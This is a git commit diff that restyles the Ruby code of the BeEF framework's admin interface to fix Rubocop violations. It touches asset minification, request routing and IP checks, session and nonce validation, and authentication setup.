Extensions: Resolve many Rubocop violations (#2279)
Extensions: Resolve many Rubocop violations
This commit is contained in:
@@ -4,146 +4,149 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module API
|
||||
module Extension
|
||||
module AdminUI
|
||||
module API
|
||||
#
|
||||
# We use this module to register all the http handler for the Administrator UI
|
||||
#
|
||||
module Handler
|
||||
require 'uglifier'
|
||||
|
||||
#
|
||||
# We use this module to register all the http handler for the Administrator UI
|
||||
#
|
||||
module Handler
|
||||
require 'uglifier'
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
|
||||
def self.evaluate_and_minify(content, params, name)
|
||||
erubis = Erubis::FastEruby.new(content)
|
||||
evaluated = erubis.evaluate(params)
|
||||
|
||||
def self.evaluate_and_minify(content, params, name)
|
||||
erubis = Erubis::FastEruby.new(content)
|
||||
evaluated = erubis.evaluate(params)
|
||||
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
|
||||
begin
|
||||
opts = {
|
||||
output: {
|
||||
comments: :none
|
||||
},
|
||||
compress: {
|
||||
dead_code: true
|
||||
},
|
||||
harmony: true
|
||||
}
|
||||
minified = Uglifier.compile(evaluated, opts)
|
||||
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
|
||||
rescue StandardError
|
||||
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
|
||||
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
|
||||
minified = evaluated
|
||||
end
|
||||
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+')
|
||||
File.write(write_to, minified)
|
||||
|
||||
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
|
||||
begin
|
||||
opts = {
|
||||
:output => {
|
||||
:comments => :none
|
||||
},
|
||||
:compress => {
|
||||
:dead_code => true,
|
||||
},
|
||||
:harmony => true
|
||||
}
|
||||
minified = Uglifier.compile(evaluated, opts)
|
||||
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
|
||||
rescue
|
||||
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
|
||||
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
|
||||
minified = evaluated
|
||||
File.path write_to
|
||||
rescue StandardError => e
|
||||
print_error "[AdminUI] Error: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
|
||||
def self.build_javascript_ui(beef_server)
|
||||
# NOTE: order counts! make sure you know what you're doing if you add files
|
||||
esapi = %w[
|
||||
esapi/Class.create.js
|
||||
esapi/jquery-3.3.1.min.js
|
||||
esapi/jquery-encoder-0.1.0.js
|
||||
]
|
||||
|
||||
ux = %w[
|
||||
ui/common/beef_common.js
|
||||
ux/PagingStore.js
|
||||
ux/StatusBar.js
|
||||
ux/TabCloseMenu.js
|
||||
]
|
||||
|
||||
panel = %w[
|
||||
ui/panel/common.js
|
||||
ui/panel/PanelStatusBar.js
|
||||
ui/panel/tabs/ZombieTabDetails.js
|
||||
ui/panel/tabs/ZombieTabLogs.js
|
||||
ui/panel/tabs/ZombieTabCommands.js
|
||||
ui/panel/tabs/ZombieTabRider.js
|
||||
ui/panel/tabs/ZombieTabXssRays.js
|
||||
wterm/wterm.jquery.js
|
||||
ui/panel/tabs/ZombieTabIpec.js
|
||||
ui/panel/tabs/ZombieTabAutorun.js
|
||||
ui/panel/PanelViewer.js
|
||||
ui/panel/LogsDataGrid.js
|
||||
ui/panel/BrowserDetailsDataGrid.js
|
||||
ui/panel/ZombieDataGrid.js
|
||||
ui/panel/MainPanel.js
|
||||
ui/panel/ZombieTab.js
|
||||
ui/panel/ZombieTabs.js
|
||||
ui/panel/zombiesTreeList.js
|
||||
ui/panel/ZombiesMgr.js
|
||||
ui/panel/tabs/ZombieTabNetwork.js
|
||||
ui/panel/tabs/ZombieTabRTC.js
|
||||
ui/panel/Logout.js
|
||||
ui/panel/WelcomeTab.js
|
||||
ui/panel/ModuleSearching.js
|
||||
]
|
||||
|
||||
global_js = esapi + ux + panel
|
||||
|
||||
js_files = ''
|
||||
global_js.each do |file|
|
||||
js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n")
|
||||
end
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
bp = config.get 'beef.extension.admin_ui.base_path'
|
||||
|
||||
# if more dynamic variables are needed in JavaScript files
|
||||
# add them here in the following Hash
|
||||
params = {
|
||||
'base_path' => bp
|
||||
}
|
||||
|
||||
# process all JavaScript files, evaluating them with Erubis
|
||||
print_debug '[AdminUI] Initializing admin panel ...'
|
||||
web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all')
|
||||
auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
|
||||
web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
|
||||
|
||||
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
|
||||
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
|
||||
end
|
||||
|
||||
#
|
||||
# This function gets called automatically by the server.
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# Web UI base path, like http://beef_domain/<bp>/panel
|
||||
bp = config.get 'beef.extension.admin_ui.base_path'
|
||||
|
||||
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
|
||||
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].sort.each do |http_module|
|
||||
require http_module
|
||||
mod_name = File.basename http_module, '.rb'
|
||||
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
|
||||
end
|
||||
|
||||
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
|
||||
media_dir = "#{File.dirname(__FILE__)}/../media/"
|
||||
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
|
||||
|
||||
# If we're not imitating a web server, mount the favicon to /favicon.ico
|
||||
unless config.get('beef.http.web_server_imitation.enable')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}",
|
||||
'/favicon.ico',
|
||||
'ico'
|
||||
)
|
||||
end
|
||||
|
||||
build_javascript_ui beef_server
|
||||
end
|
||||
end
|
||||
end
|
||||
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", "w+")
|
||||
File.open(write_to, 'w') { |file| file.write(minified) }
|
||||
|
||||
File.path write_to
|
||||
rescue => e
|
||||
print_error "[AdminUI] Error: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
|
||||
def self.build_javascript_ui(beef_server)
|
||||
#NOTE: order counts! make sure you know what you're doing if you add files
|
||||
esapi = %w(
|
||||
esapi/Class.create.js
|
||||
esapi/jquery-3.3.1.min.js
|
||||
esapi/jquery-encoder-0.1.0.js)
|
||||
|
||||
ux = %w(
|
||||
ui/common/beef_common.js
|
||||
ux/PagingStore.js
|
||||
ux/StatusBar.js
|
||||
ux/TabCloseMenu.js)
|
||||
|
||||
panel = %w(
|
||||
ui/panel/common.js
|
||||
ui/panel/PanelStatusBar.js
|
||||
ui/panel/tabs/ZombieTabDetails.js
|
||||
ui/panel/tabs/ZombieTabLogs.js
|
||||
ui/panel/tabs/ZombieTabCommands.js
|
||||
ui/panel/tabs/ZombieTabRider.js
|
||||
ui/panel/tabs/ZombieTabXssRays.js
|
||||
wterm/wterm.jquery.js
|
||||
ui/panel/tabs/ZombieTabIpec.js
|
||||
ui/panel/tabs/ZombieTabAutorun.js
|
||||
ui/panel/PanelViewer.js
|
||||
ui/panel/LogsDataGrid.js
|
||||
ui/panel/BrowserDetailsDataGrid.js
|
||||
ui/panel/ZombieDataGrid.js
|
||||
ui/panel/MainPanel.js
|
||||
ui/panel/ZombieTab.js
|
||||
ui/panel/ZombieTabs.js
|
||||
ui/panel/zombiesTreeList.js
|
||||
ui/panel/ZombiesMgr.js
|
||||
ui/panel/tabs/ZombieTabNetwork.js
|
||||
ui/panel/tabs/ZombieTabRTC.js
|
||||
ui/panel/Logout.js
|
||||
ui/panel/WelcomeTab.js
|
||||
ui/panel/ModuleSearching.js)
|
||||
|
||||
global_js = esapi + ux + panel
|
||||
|
||||
js_files = ''
|
||||
global_js.each do |file|
|
||||
js_files << File.read(File.dirname(__FILE__)+'/../media/javascript/'+file) + "\n\n"
|
||||
end
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
bp = config.get "beef.extension.admin_ui.base_path"
|
||||
|
||||
# if more dynamic variables are needed in JavaScript files
|
||||
# add them here in the following Hash
|
||||
params = {
|
||||
'base_path' => bp
|
||||
}
|
||||
|
||||
# process all JavaScript files, evaluating them with Erubis
|
||||
print_debug "[AdminUI] Initializing admin panel ..."
|
||||
web_ui_all = self.evaluate_and_minify(js_files, params, 'web_ui_all')
|
||||
auth_js_file = File.read(File.dirname(__FILE__)+'/../media/javascript/ui/authentication.js') + "\n\n"
|
||||
web_ui_auth = self.evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
|
||||
|
||||
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
|
||||
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
|
||||
end
|
||||
|
||||
#
|
||||
# This function gets called automatically by the server.
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# Web UI base path, like http://beef_domain/<bp>/panel
|
||||
bp = config.get "beef.extension.admin_ui.base_path"
|
||||
|
||||
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
|
||||
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each do |http_module|
|
||||
require http_module
|
||||
mod_name = File.basename http_module, '.rb'
|
||||
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
|
||||
end
|
||||
|
||||
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
|
||||
media_dir = File.dirname(__FILE__)+'/../media/'
|
||||
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
|
||||
|
||||
# If we're not imitating a web server, mount the favicon to /favicon.ico
|
||||
if !config.get("beef.http.web_server_imitation.enable")
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/extensions/admin_ui/media/images/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
|
||||
'/favicon.ico',
|
||||
'ico')
|
||||
end
|
||||
|
||||
self.build_javascript_ui beef_server
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,178 +4,179 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
class HttpController
|
||||
|
||||
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
|
||||
|
||||
C = BeEF::Core::Models::Command
|
||||
CM = BeEF::Core::Models::CommandModule
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
#
|
||||
# Class constructor. Takes data from the child class and populates itself with it.
|
||||
#
|
||||
def initialize(data = {})
|
||||
@erubis = nil
|
||||
@status = 200 if data['status'].nil?
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
module Extension
|
||||
module AdminUI
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
class HttpController
|
||||
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
|
||||
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@bp = @config.get "beef.extension.admin_ui.base_path"
|
||||
C = BeEF::Core::Models::Command
|
||||
CM = BeEF::Core::Models::CommandModule
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
|
||||
#
|
||||
# Class constructor. Takes data from the child class and populates itself with it.
|
||||
#
|
||||
def initialize(data = {})
|
||||
@erubis = nil
|
||||
@status = 200 if data['status'].nil?
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
|
||||
if data['paths'].nil? and self.methods.include? "index"
|
||||
@paths = {'index' => '/'}
|
||||
else
|
||||
@paths = data['paths']
|
||||
end
|
||||
end
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@bp = @config.get 'beef.extension.admin_ui.base_path'
|
||||
|
||||
#
|
||||
# Authentication check. Confirm the request to access the UI comes from a permitted IP address
|
||||
#
|
||||
def authenticate_request(ip)
|
||||
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
|
||||
if !auth.permitted_source?(ip)
|
||||
if @config.get("beef.http.web_server_imitation.enable")
|
||||
type = @config.get("beef.http.web_server_imitation.type")
|
||||
case type
|
||||
when "apache"
|
||||
@body = BeEF::Core::Router::APACHE_BODY
|
||||
@status = 404
|
||||
@headers = BeEF::Core::Router::APACHE_HEADER
|
||||
return false
|
||||
when "iis"
|
||||
@body = BeEF::Core::Router::IIS_BODY
|
||||
@status = 404
|
||||
@headers = BeEF::Core::Router::IIS_HEADER
|
||||
return false
|
||||
when "nginx"
|
||||
@body = BeEF::Core::Router::APACHE_BODY
|
||||
@status = 404
|
||||
@headers = BeEF::Core::Router::APACHE_HEADER
|
||||
return false
|
||||
else
|
||||
@body = "Not Found."
|
||||
@status = 404
|
||||
@headers = {"Content-Type" => "text/html"}
|
||||
return false
|
||||
end
|
||||
else
|
||||
@body = "Not Found."
|
||||
@status = 404
|
||||
@headers = {"Content-Type" => "text/html"}
|
||||
return false
|
||||
@headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil?
|
||||
|
||||
# @todo what if paths is nil and methods does not include 'index' ?
|
||||
@paths = if data['paths'].nil? and methods.include? 'index'
|
||||
{ 'index' => '/' }
|
||||
else
|
||||
data['paths']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Authentication check. Confirm the request to access the UI comes from a permitted IP address
|
||||
#
|
||||
def authenticate_request(ip)
|
||||
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
|
||||
return true if auth.permitted_source?(ip)
|
||||
|
||||
unless @config.get('beef.http.web_server_imitation.enable')
|
||||
@body = 'Not Found.'
|
||||
@status = 404
|
||||
@headers = { 'Content-Type' => 'text/html' }
|
||||
return false
|
||||
end
|
||||
|
||||
type = @config.get('beef.http.web_server_imitation.type')
|
||||
case type
|
||||
when 'apache'
|
||||
@body = BeEF::Core::Router::APACHE_BODY
|
||||
@status = 404
|
||||
@headers = BeEF::Core::Router::APACHE_HEADER
|
||||
when 'iis'
|
||||
@body = BeEF::Core::Router::IIS_BODY
|
||||
@status = 404
|
||||
@headers = BeEF::Core::Router::IIS_HEADER
|
||||
when 'nginx'
|
||||
@body = BeEF::Core::Router::APACHE_BODY
|
||||
@status = 404
|
||||
@headers = BeEF::Core::Router::APACHE_HEADER
|
||||
else
|
||||
@body = 'Not Found.'
|
||||
@status = 404
|
||||
@headers = { 'Content-Type' => 'text/html' }
|
||||
end
|
||||
|
||||
false
|
||||
rescue StandardError
|
||||
print_error "authenticate_request failed: #{e.message}"
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Check if reverse proxy has been enabled and return the correct client IP address
|
||||
#
|
||||
def get_ip(request)
|
||||
if @config.get('beef.http.allow_reverse_proxy')
|
||||
request.ip # Get client x-forwarded-for ip address
|
||||
else
|
||||
request.get_header('REMOTE_ADDR') # Get client remote ip address
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
def run(request, response)
|
||||
@request = request
|
||||
@params = request.params
|
||||
|
||||
# Web UI base path, like http://beef_domain/<bp>/panel
|
||||
auth_url = "#{@bp}/authentication"
|
||||
|
||||
# If access to the UI is not permitted for the request IP address return a 404
|
||||
return unless authenticate_request(get_ip(@request))
|
||||
|
||||
# test if session is unauth'd and whether the auth functionality is requested
|
||||
if !@session.valid_session?(@request) and !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication)
|
||||
@body = ''
|
||||
@status = 302
|
||||
@headers = { 'Location' => auth_url }
|
||||
return
|
||||
end
|
||||
|
||||
# get the mapped function (if it exists) from the derived class
|
||||
path = request.path_info
|
||||
unless BeEF::Filters.is_valid_path_info?(path)
|
||||
print_error "[Admin UI] Path is not valid: #{path}"
|
||||
return
|
||||
end
|
||||
|
||||
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
|
||||
if function.nil?
|
||||
print_error "[Admin UI] Path does not exist: #{path}"
|
||||
return
|
||||
end
|
||||
|
||||
# call the relevant mapped function
|
||||
function.call
|
||||
|
||||
# build the template filename and apply it - if the file exists
|
||||
function_name = function.name # used for filename
|
||||
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
|
||||
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
|
||||
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exist? template_ui # load the template file
|
||||
@body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response
|
||||
|
||||
# set appropriate content-type 'application/json' for .json files
|
||||
@headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path =~ /\.json$/
|
||||
|
||||
# set content type
|
||||
if @headers['Content-Type'].nil?
|
||||
@headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages
|
||||
end
|
||||
rescue StandardError => e
|
||||
print_error "Error handling HTTP request: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
|
||||
# Constructs a html script tag (from media/javascript directory)
|
||||
def script_tag(filename)
|
||||
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
|
||||
end
|
||||
|
||||
# Constructs a html script tag (from media/javascript-min directory)
|
||||
def script_tag_min(filename)
|
||||
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
|
||||
end
|
||||
|
||||
# Constructs a html stylesheet tag
|
||||
def stylesheet_tag(filename)
|
||||
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
|
||||
end
|
||||
|
||||
# Constructs a hidden html nonce tag
|
||||
def nonce_tag
|
||||
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
|
||||
end
|
||||
|
||||
def base_path
|
||||
@bp.to_s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@eruby
|
||||
|
||||
# Unescapes a URL-encoded string.
|
||||
def unescape(s)
|
||||
s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') }
|
||||
end
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Check if reverse proxy has been enabled and return the correct client IP address
|
||||
#
|
||||
def get_ip(request)
|
||||
if !@config.get("beef.http.allow_reverse_proxy")
|
||||
ua_ip = request.get_header('REMOTE_ADDR') # Get client remote ip address
|
||||
else
|
||||
ua_ip = request.ip # Get client x-forwarded-for ip address
|
||||
end
|
||||
ua_ip
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
def run(request, response)
|
||||
@request = request
|
||||
@params = request.params
|
||||
|
||||
# Web UI base path, like http://beef_domain/<bp>/panel
|
||||
auth_url = "#{@bp}/authentication"
|
||||
|
||||
# If access to the UI is not permitted for the request IP address return a 404
|
||||
if !authenticate_request(get_ip(@request))
|
||||
return
|
||||
end
|
||||
|
||||
# test if session is unauth'd and whether the auth functionality is requested
|
||||
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
|
||||
@body = ''
|
||||
@status = 302
|
||||
@headers = {'Location' => auth_url}
|
||||
return
|
||||
end
|
||||
|
||||
# get the mapped function (if it exists) from the derived class
|
||||
path = request.path_info
|
||||
(print_error "path is invalid";return) if not BeEF::Filters.is_valid_path_info?(path)
|
||||
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
|
||||
(print_error "[Admin UI] Path does not exist: #{path}";return) if function.nil?
|
||||
|
||||
# call the relevant mapped function
|
||||
function.call
|
||||
|
||||
# build the template filename and apply it - if the file exists
|
||||
function_name = function.name # used for filename
|
||||
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
|
||||
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
|
||||
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
|
||||
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
|
||||
|
||||
# set appropriate content-type 'application/json' for .json files
|
||||
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /\.json$/
|
||||
|
||||
# set content type
|
||||
if @headers['Content-Type'].nil?
|
||||
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
|
||||
end
|
||||
rescue => e
|
||||
print_error "Error handling HTTP request: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
|
||||
# Constructs a html script tag (from media/javascript directory)
|
||||
def script_tag(filename)
|
||||
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
|
||||
end
|
||||
|
||||
# Constructs a html script tag (from media/javascript-min directory)
|
||||
def script_tag_min(filename)
|
||||
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
|
||||
end
|
||||
|
||||
# Constructs a html stylesheet tag
|
||||
def stylesheet_tag(filename)
|
||||
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
|
||||
end
|
||||
|
||||
# Constructs a hidden html nonce tag
|
||||
def nonce_tag
|
||||
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
|
||||
end
|
||||
|
||||
def base_path
|
||||
@bp.to_s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@eruby
|
||||
|
||||
# Unescapes a URL-encoded string.
|
||||
def unescape(s)
|
||||
s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,112 +4,108 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Extension
|
||||
module AdminUI
|
||||
#
|
||||
# The session for BeEF UI.
|
||||
#
|
||||
class Session
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# The session for BeEF UI.
|
||||
#
|
||||
class Session
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_reader :ip, :id, :nonce, :auth_timestamp
|
||||
|
||||
def initialize
|
||||
set_logged_out
|
||||
@auth_timestamp = Time.new
|
||||
end
|
||||
attr_reader :ip, :id, :nonce, :auth_timestamp
|
||||
|
||||
#
|
||||
# set the session logged in
|
||||
#
|
||||
def set_logged_in(ip)
|
||||
@id = BeEF::Core::Crypto::secure_token
|
||||
@nonce = BeEF::Core::Crypto::secure_token
|
||||
@ip = ip
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged out
|
||||
#
|
||||
def set_logged_out
|
||||
@id = nil
|
||||
@nonce = nil
|
||||
@ip = nil
|
||||
end
|
||||
def initialize
|
||||
set_logged_out
|
||||
@auth_timestamp = Time.new
|
||||
end
|
||||
|
||||
#
|
||||
# set teh auth_timestamp
|
||||
#
|
||||
def set_auth_timestamp(time)
|
||||
@auth_timestamp = time
|
||||
end
|
||||
#
|
||||
# set the session logged in
|
||||
#
|
||||
def set_logged_in(ip)
|
||||
@id = BeEF::Core::Crypto.secure_token
|
||||
@nonce = BeEF::Core::Crypto.secure_token
|
||||
@ip = ip
|
||||
end
|
||||
|
||||
#
|
||||
# return the session id
|
||||
#
|
||||
def get_id
|
||||
@id
|
||||
end
|
||||
|
||||
#
|
||||
# return the nonce
|
||||
#
|
||||
def get_nonce
|
||||
@nonce
|
||||
end
|
||||
#
|
||||
# set the session logged out
|
||||
#
|
||||
def set_logged_out
|
||||
@id = nil
|
||||
@nonce = nil
|
||||
@ip = nil
|
||||
end
|
||||
|
||||
#
|
||||
# return the auth_timestamp
|
||||
#
|
||||
def get_auth_timestamp
|
||||
@auth_timestamp
|
||||
end
|
||||
#
|
||||
# set teh auth_timestamp
|
||||
#
|
||||
def set_auth_timestamp(time)
|
||||
@auth_timestamp = time
|
||||
end
|
||||
|
||||
#
|
||||
# Check if nonce valid
|
||||
#
|
||||
def valid_nonce?(request)
|
||||
#
|
||||
# return the session id
|
||||
#
|
||||
def get_id
|
||||
@id
|
||||
end
|
||||
|
||||
# check if a valid session
|
||||
return false if not valid_session?(request)
|
||||
return false if @nonce.nil?
|
||||
return false if not request.post?
|
||||
#
|
||||
# return the nonce
|
||||
#
|
||||
def get_nonce
|
||||
@nonce
|
||||
end
|
||||
|
||||
# get nonce from request
|
||||
request_nonce = request['nonce']
|
||||
return false if request_nonce.nil?
|
||||
|
||||
# verify nonce
|
||||
request_nonce.eql? @nonce
|
||||
|
||||
end
|
||||
#
|
||||
# return the auth_timestamp
|
||||
#
|
||||
def get_auth_timestamp
|
||||
@auth_timestamp
|
||||
end
|
||||
|
||||
#
|
||||
# Check if a session valid
|
||||
#
|
||||
def valid_session?(request)
|
||||
# check if a valid session exists
|
||||
return false if @id.nil?
|
||||
return false if @ip.nil?
|
||||
#
|
||||
# Check if nonce valid
|
||||
#
|
||||
def valid_nonce?(request)
|
||||
# check if a valid session
|
||||
return false unless valid_session?(request)
|
||||
return false if @nonce.nil?
|
||||
return false unless request.post?
|
||||
|
||||
# check ip address matches
|
||||
return false if not @ip.to_s.eql? request.ip
|
||||
# get nonce from request
|
||||
request_nonce = request['nonce']
|
||||
return false if request_nonce.nil?
|
||||
|
||||
# get session cookie name from config
|
||||
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
|
||||
# verify nonce
|
||||
request_nonce.eql? @nonce
|
||||
end
|
||||
|
||||
# check session id matches
|
||||
request.cookies.each{|cookie|
|
||||
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
|
||||
}
|
||||
request
|
||||
|
||||
# not a valid session
|
||||
false
|
||||
#
|
||||
# Check if a session valid
|
||||
#
|
||||
def valid_session?(request)
|
||||
# check if a valid session exists
|
||||
return false if @id.nil?
|
||||
return false if @ip.nil?
|
||||
|
||||
# check ip address matches
|
||||
return false unless @ip.to_s.eql? request.ip
|
||||
|
||||
# get session cookie name from config
|
||||
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
|
||||
|
||||
# check session id matches
|
||||
request.cookies.each do |cookie|
|
||||
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
|
||||
end
|
||||
request
|
||||
|
||||
# not a valid session
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Constants
|
||||
|
||||
module Icons
|
||||
|
||||
VERIFIED_NOT_WORKING_IMG = 'red.png'
|
||||
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
|
||||
VERIFIED_WORKING_IMG = 'green.png'
|
||||
VERIFIED_UNKNOWN_IMG = 'grey.png'
|
||||
|
||||
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
|
||||
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Constants
|
||||
module Icons
|
||||
VERIFIED_NOT_WORKING_IMG = 'red.png'
|
||||
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
|
||||
VERIFIED_WORKING_IMG = 'green.png'
|
||||
VERIFIED_UNKNOWN_IMG = 'grey.png'
|
||||
|
||||
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -4,129 +4,129 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
#
|
||||
# The authentication web page for BeEF.
|
||||
#
|
||||
class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/login' => method(:login),
|
||||
'/logout' => method(:logout)
|
||||
}
|
||||
})
|
||||
|
||||
#
|
||||
# The authentication web page for BeEF.
|
||||
#
|
||||
class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
end
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
